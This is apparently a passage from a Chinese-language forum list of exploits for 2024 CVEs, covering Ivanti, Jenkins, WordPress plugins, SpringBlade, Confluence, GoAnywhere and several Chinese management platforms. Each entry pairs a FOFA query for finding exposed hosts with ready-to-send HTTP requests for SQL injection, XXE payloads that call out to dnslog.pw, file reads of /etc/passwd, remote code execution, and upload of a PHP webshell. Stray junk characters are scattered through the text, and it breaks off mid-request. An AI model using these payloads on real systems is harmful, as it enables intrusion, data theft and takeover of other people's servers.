3 s' x# w; j* ^" @9 n+ M  \8 JHost: x.x.x.x
. {6 l3 L( |0 Q. M& jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip

" @# X! S& T1 `3 l<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
6 \2 H' s8 X4 p2 J+ Z
103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
3 @$ W" u. t; a. d" h+ VFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
* r! w, \7 `3 d) Q: i" AConnection: close
Content-Length: 204
# k0 n; `  C! L- @* ~+ |9 AContent-Type: application/x-www-form-urlencoded
% X4 Y6 d' t, j6 [; Y' l# ?4 wAccept-Encoding: gzip

. Q: G- y) E4 Z% i! v; T. iSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
/ g- W4 R$ [5 U* I6 z
0 n7 `4 [! K+ m9 W) h+ Y
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
" I) C% }4 U5 n* T: VCVE-2024-0569
6 x$ |8 ^/ Y- `, z4 S. C, m4 w4 ZFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
% T% F) b: t* V/ f5 V1 p/ VHost:192.168.0.1
+ P: f: W+ Q" M/ f+ k! ?! V2 }Content-Length:41
+ ?' F, ?3 q9 {) E6 Q+ G- p6 G! rAccept:application/json,text/javascript，*/*;q=0.01
* G: J, p# ^& K" aX-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
( U# O8 T% }, }Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
+ U- T* |% S4 HReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
' L; b5 X# j1 L8 W6 x) H4 gConnection:close
: B" U9 y6 y0 @0 D
{
6 l6 f  k* N5 F% l"topicurl":"getSysStatusCfg",
& A5 u! \1 M  }2 `"token":""
}

105. SpringBlade v3.2.0 export-user SQL 注入
3 b0 r5 }1 d- OFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
: C7 Q. L6 W- _
3 v2 H! @% D& l  X: N- s" R106. SpringBlade dict-biz/list SQL 注入
3 z- S+ T' u, ]5 D/ k" I' h; fFOFA：body="Saber 将不能正常工作"
- Z3 W( L( L# l6 `# p- fGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
0 P, }" H1 Y$ T/ JHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 a* b7 O$ M5 c. v* ZBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
  o/ \* D: M: g1 w. }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
. w5 C& i* V9 m7 e; @' m

1 }; A! A* g+ A( p6 k" T. w2 A- ^. A% j107. SpringBlade tenant/list SQL 注入
6 G# I- w3 y1 NFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
0 p. x0 D: p5 m7 _) qHost: your-ip
9 G+ a2 K: V: f5 b# I# }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close


108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
5 \. l2 Z( H. L$ UGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
, e+ Q8 }) ?& p1 O) F2 ZHost: your-ip
+ V# R# _* }' C( s5 e9 S$ w0 O! PAccept: application/json, text/plain, */*
+ @4 C' W/ ~- C- A4 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
9 q  f$ ~7 `+ W" PAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
( X" H2 s: F2 x/ Y' L: d# nConnection: close


9 S* p. o5 X7 _$ u5 l+ I109. Jenkins CLI 任意文件读取
CVE-2024-23897
" d% @- P8 d( `3 y) b: I0 t3 `5 e, vFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
8 A( x* k% i' l) k6 P8 Z: UHost:
Content-type: application/octet-stream
" ]" B: }" `0 V7 N; ASession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
& F! a5 A7 U) A- g5 vSide: upload
( ~: Z8 ?! X' M- {! x* Z0 X/ fConnection: keep-alive
  l- ?' c6 v) C4 t. `2 I; j8 y4 xContent-Length: 163
" s* j& b3 W( z+ x" S7 t, d
3 F9 l5 e3 ]' i! E" L6 \b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
" P* c; e& `9 E1 \6 z" G+ Q
$ ^9 m6 p* H: J' W  `( X8 f
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
  j$ ?9 s" E+ j* f[COMMAND]
; s  S7 w% f+ a" J3 p( |Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
0 d  j- a- t) o

110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
4 _* X3 z6 g# G. v3 sGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
$ ?3 E/ t( e- {6 W4 P. CUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

) v2 a6 z# s8 L8 _& {) g
111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
2 r" H4 ?1 ]( l0 z0 OGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
  v8 ?5 E. J, }; zHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
  E. t4 x' T6 P8 r5 W* t. m9 a. u  f. s; ]Accept: */*
& g6 t- p' h; EAccept-Language: en
Accept-Encoding: gzip

6 c" ^, m3 p5 j  e$ M/ r  q
; W+ O* k; l' f3 v112. WordPress Plugin NotificationX SQL 注入
$ B* G  Q0 C1 r! _CVE-2024-1698
  D* g' W  I( t2 }1 rFOFA：body="/wp-content/plugins/notificationx"
' A8 w; B! O+ W( \7 _) ePOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
, I! X0 Z3 S( F+ n2 D/ CContent-Type: application/json
1 R8 x4 ^+ C" d9 T2 {+ t6 ^8 X* B
6 [6 K. z$ P% [# ~{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
, \* {4 h( T. h( s- ?. P
" l! K& ]7 R! {0 j+ ]9 J3 [
113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
9 m& C# k( R  F- ?& HFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
( r( A& }# W! G% ]User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
! b' t. a4 H$ s0 eConnection: close
Accept: */*
2 V$ e4 e# Q& F& {; H0 M8 X5 b3 A, hAccept-Language: en
( p  m2 n( o4 Q" R+ [6 j) U* N5 T& V2 ^Accept-Encoding: gzip
: q, E; A! u4 t+ W  B; u

114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
+ u2 N  [8 w* A+ M8 G# H2 SGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
7 E$ G0 n/ V6 KUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
# v) L5 S* @7 I* j6 i9 HAccept-Charset: utf-8
: {& T8 C9 J) B0 H* A' lAccept-Encoding: gzip, deflate
Connection: close


115. WordPress Bricks Builder <= 1.9.6 RCE
9 M6 P5 O  T' R. [CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
  j/ x2 M" u/ N- ?4 VGET / HTTP/1.1
( V# k9 l' q% m# U- O' s. ~& nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip


第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
2 }$ h  L- s8 S' D2 qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
  {! G: w0 F$ v* ?0 ^: |8 o/ zConnection: close
Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip

1 n0 m7 b/ J( }1 P+ U3 Z2 B{
- [* f2 W1 e' W; K5 v+ `9 b"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
) h' o& |, F/ q0 h, y  `    "name": "container",
1 h1 e% j' ~+ V- [# u    "settings": {
      "hasLoop": "true",
0 C# ?  O( |& Q  x      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
# ~5 W, I/ B$ e( ?% v    }
5 v+ [/ Z" r; [2 _) t  }
}
' F, J7 [( U2 o5 d- ^7 B; r
$ u) v7 ~4 ^& f( q9 E2 t
116. wordpress js-support-ticket文件上传
4 R: F" G4 Q, W: s# f4 v$ T% N, lFOFA：body="wp-content/plugins/js-support-ticket"
7 {. r3 E0 t& Z7 [: M# z* \" BPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
1 S9 c5 \- T! `9 MContent-Type: multipart/form-data; boundary=--------767099171
- ]! Z3 k( U4 p$ Y7 H8 dUser-Agent: Mozilla/5.0
5 h8 k) }3 m% }3 K8 l
  \2 h8 n: U7 U----------767099171
Content-Disposition: form-data; name="action"
$ ~" }7 K( ^) ^9 d8 \configuration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
9 \8 s  ]( j% p- R7 x# |----------767099171
( H. X- f' y1 eContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
$ f) |+ H/ ~  U7 N* S4 i0 UContent-Type: image/png
----------767099171--
0 H8 \9 \, u3 U7 \  X  e3 i0 [
. E: Q/ d8 x1 l7 X" N: O9 k3 q% b
117. WordPress LayerSlider插件SQL注入
4 R# V+ b+ G  [' iversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
% ]' s% H- T6 y: LGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 G5 I: |# A8 uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- C, v& }& G/ q( d: EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, d9 N; @. q0 zAccept-Encoding: gzip, deflate, br
! Z" T) L9 T% v5 D$ Y: f0 f: QConnection: close
1 Z" n! m  d2 q# A8 @Upgrade-Insecure-Requests: 1


$ J+ _! @! i- [4 w+ F, @% Z118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
6 z/ x! T. K5 r* C0 qCVE-2024-0939
5 V6 X3 K1 o  W3 u- C0 Z0 y" {FOFA：title="Smart管理平台"
# G+ T, z* v' i5 I  p4 kPOST /Tool/uploadfile.php? HTTP/1.1
9 n# Z1 `9 H# E" D( c% OHost: 192.168.40.130:8443
5 z; Z0 z; f% @8 M, zCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& o( Q8 E" K5 M1 X9 w/ e0 w3 SAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
. e4 K3 o. J. b  dSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
# ?) t6 Y* A3 _1 ?Sec-Fetch-User: ?1
% m  Z. `# Q* t8 A9 j4 @Te: trailers
Connection: close
. W# j: M5 W5 S
' [2 ?& Q2 R0 ?0 `-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
- y6 `8 Z; u/ d% A3 `& y9 }Content-Type: application/octet-stream
* {( f2 W0 X3 V, a1 a. c
; y- Z0 M/ n0 D( K' v" }<?php
  {) |0 I5 k9 E/ jsystem($_POST["passwd"]);
?>
0 n1 u2 V% G+ d; g7 [-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
7 \! K4 b+ w$ ]1 J0 p. S* K) T4 Z
- m' }+ _5 l- M) X: |, j6 p/home/src.php
-----------------------------13979701222747646634037182887--

# ^0 o1 `& d4 B. a
! a( [- o( K6 H+ \5 J$ ?) Y访问/home/src.php
4 b) F) z$ n- ?2 R
119. 北京百绰智能S20后台sysmanageajax.php sql注入
* F! t/ ^/ F$ y. |* w3 a+ tCVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
" e( P" i5 T/ J$ Y4 X' k( kAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 r- F% B& m$ k# FAccept-Encoding: gzip, deflate
1 {/ N9 Y- Q. t. n9 ]$ ?" CContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
5 h9 F9 M9 F$ N$ }! iOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
# r$ L1 J+ l* g& X1 H4 ]Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
" `1 z* z! ^7 @0 l- N1 FX-Originating-Ip: 1.1.1.1
$ N- e* E+ m* }X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
9 q- n& D) V* `: VTe: trailers
Connection: close
0 E+ U! a" `  y# p
5 a7 J# D" M. l  a# K2 x9 ksrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

9 i1 z6 {$ }9 e; v" e
120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
) J; [7 p. l8 i) jCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 v7 j, s! v: w( F8 u6 W% V# FAccept-Encoding: gzip, deflate
* F8 U5 @! p- l) o! Z# X0 AContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
0 X. t" C9 ]5 c( X5 X/ b* U% dOrigin: https://ip:port
: I4 M# A% I, pReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
' @/ u' H) C/ [9 M( T8 LSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
; `% F! l# R9 O: d
3 Y" d0 w+ c, e5 `' D- ]3 [: O-----------------------------42328904123665875270630079328
0 I- ^) n4 k& K5 O8 fContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
  g4 _! V$ N! ?: \1 o
1 [. C. t2 X1 T0 {4 v<?php phpinfo()?>
-----------------------------42328904123665875270630079328
* k1 A8 S  L2 b# i$ m9 F4 K4 c+ BContent-Disposition: form-data; name="id_type"
, G3 P- q2 H! l& C- e) ]& U* i
' T  {1 [5 s8 ]1
-----------------------------42328904123665875270630079328
) Z: g9 E& l4 ^3 u7 z/ a( \4 FContent-Disposition: form-data; name="1_ck"
: w- O. A( Y  D. T2 e" \
1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
% @0 d! E7 @- O; T. ?
& j/ P' g9 K5 ^2 l# }import
! a' q" Y+ E6 M2 V6 o2 T-----------------------------42328904123665875270630079328
# D+ b6 u1 V: N# S/ w' W7 J

6 `# v% B2 [8 s文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
$ ^  U4 |' \7 {" l0 x( ^) \Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
7 Z! s/ c, a. H' G3 YUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
" d& @: k6 S/ t2 D; o* v7 y5 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ i" p5 W, D( p/ o6 J5 R2 C( t! XAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
6 Y8 b" X) \/ UContent-Length: 592
Origin: https://192.168.40.130:8443
* g& [, ]# z8 H. ]& f7 s% uUpgrade-Insecure-Requests: 1
3 E4 d( q$ d. G0 c; eSec-Fetch-Dest: document
/ V# e* X" Y* x! ^- B0 b. NSec-Fetch-Mode: navigate
: w2 Y1 U, j$ z9 \4 aSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
$ U" G- m( P$ T- a1 Z' J, o0 PTe: trailers
2 n8 o2 x9 L% u+ ]Connection: close
; {, O6 X8 a, s. y
-----------------------------42328904123665875270630079328
5 |' b/ ]' }, U; C  vContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
* R' `* K! f0 J; b) W& @2 ]7 |
9 a! E1 k2 c7 v+ H/ K<?php phpinfo();?>
- _5 a% F/ i0 ]: j-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
+ L% n6 U, \4 _9 ], B
1
) \5 L2 x0 G, @- N, c-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
+ O! H0 E* S" p7 A8 q- i: c& W! T4 L3 P
% F% ~+ r+ g  H* l+ L1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
* T5 k. o, ]& G' S1 i: p
! T9 c3 c3 D1 T& v3 \6 [' iset
-----------------------------42328904123665875270630079328

; S: `+ F% }" k, T
boot/web/upload/weblogo/1.php

  [" U1 j/ r0 Z: b, H+ ?122. 北京百绰智能s200管理平台/importexport.php sql注入
( p+ ?5 G+ e8 Y) x# N' b! k5 bCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
* @) t' E: U) B0 E+ l) Z, F4 Q3 aGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
: Y6 g. Q- g0 ^8 u) f' f) WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
7 K+ `3 t* q$ l. JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" _7 [" c9 s/ TAccept-Encoding: gzip, deflate, br
! i3 L4 K( n. |, Z! c: |) f# ^$ i! {Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
' D5 W' A, J% u6 @  HSec-Fetch-Mode: navigate
1 F. G0 ?: ^' `5 X5 ISec-Fetch-Site: none
Sec-Fetch-User: ?1
! i; a7 |. K! \7 @: @Te: trailers
* W* o6 k4 X3 M/ |2 QConnection: close
9 ~$ W% d0 h8 A! _2 p

123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
( `4 t) g8 j7 Q+ b* h6 |1 sAccept: */*
5 M) w' \5 j$ v$ I* f' a4 a( ]# JAccept-Language: en-US;q=0.9,en;q=0.8
- N- @9 }+ Y- K+ zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
/ x. w# o# `) y7 W& t* l6 }7 PConnection: close
% s8 W- L1 k. [% h' b1 w, ?Content-Type: application/x-www-form-urlencoded

* h# \+ v! b* }5 Q+ s+ P" ilabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&[email protected]@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
$ U! ]; U' Z' e5 t6 Z

! }) Q7 c% Q2 X124. 湖南建研工程质量检测系统任意文件上传
( B4 f+ b& i! I! j4 qFOFA：body="/Content/Theme/Standard/webSite/login.css"
" ^! o: \- A5 z7 RPOST /Scripts/admintool?type=updatefile HTTP/1.1
0 E3 S) D# @* E; g1 OHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
) R, ^' w  c8 i0 m) ^1 BContent-Length: 72
9 Y; J1 A9 U. P$ p3 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
# j: L% i' n+ iAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- @6 x3 F0 p* ~: I0 z1 U( qConnection: close
* k# J3 Y5 t7 r& u$ NContent-Type: application/x-www-form-urlencoded
( v8 Z3 }4 V# h+ G; I) n* z
: y2 V, y0 H" r( t, _  }: AfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
" k5 D. f% C" P3 ~4 q
5 }& o( [+ u& i0 v  u
http://192.168.40.130:8282/Scripts/abcgcg.aspx
# S- H: r+ W/ I
125. ConnectWise ScreenConnect身份验证绕过
; W3 }0 M. H9 O" T. E: ]CVE-2024-1709
! w$ z& d6 V. Z( L5 f" oFOFA：icon_hash="-82958153"
. M. B6 s) Y2 o/ V9 ohttps://github.com/watchtowrlabs ... bypass-add-user-poc
9 `% I) h9 b) d4 ]

使用方法
6 o( j. P/ ^2 Q) w/ f- m' j6 hpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

2 e. S) v* o3 }8 x* n
1 n/ w( N! p- D, x; H创建好用户后直接登录后台，可以执行系统命令。
6 j# _6 v8 b' `6 r! X
% H2 Q- d: |1 }126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
4 l6 I% g0 \& NGET /static/../../../../../etc/passwd HTTP/1.1
1 Y& _/ C' `$ C- C- x5 E' [Host: x.x.x.x
7 t# B/ F2 t% l8 |- F8 _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
$ R8 B: G9 [* q7 a1 ?- l: |Accept: */*
Accept-Language: en
Accept-Encoding: gzip

# G- w7 M) i# R$ B: T8 y; W
127. 广联达Linkworks DataExchange.ashx XXE
- r' b' f- h% J1 S) j  _% J( C  \FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
4 {0 t6 ?3 {9 S) ]% C$ g9 K  EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
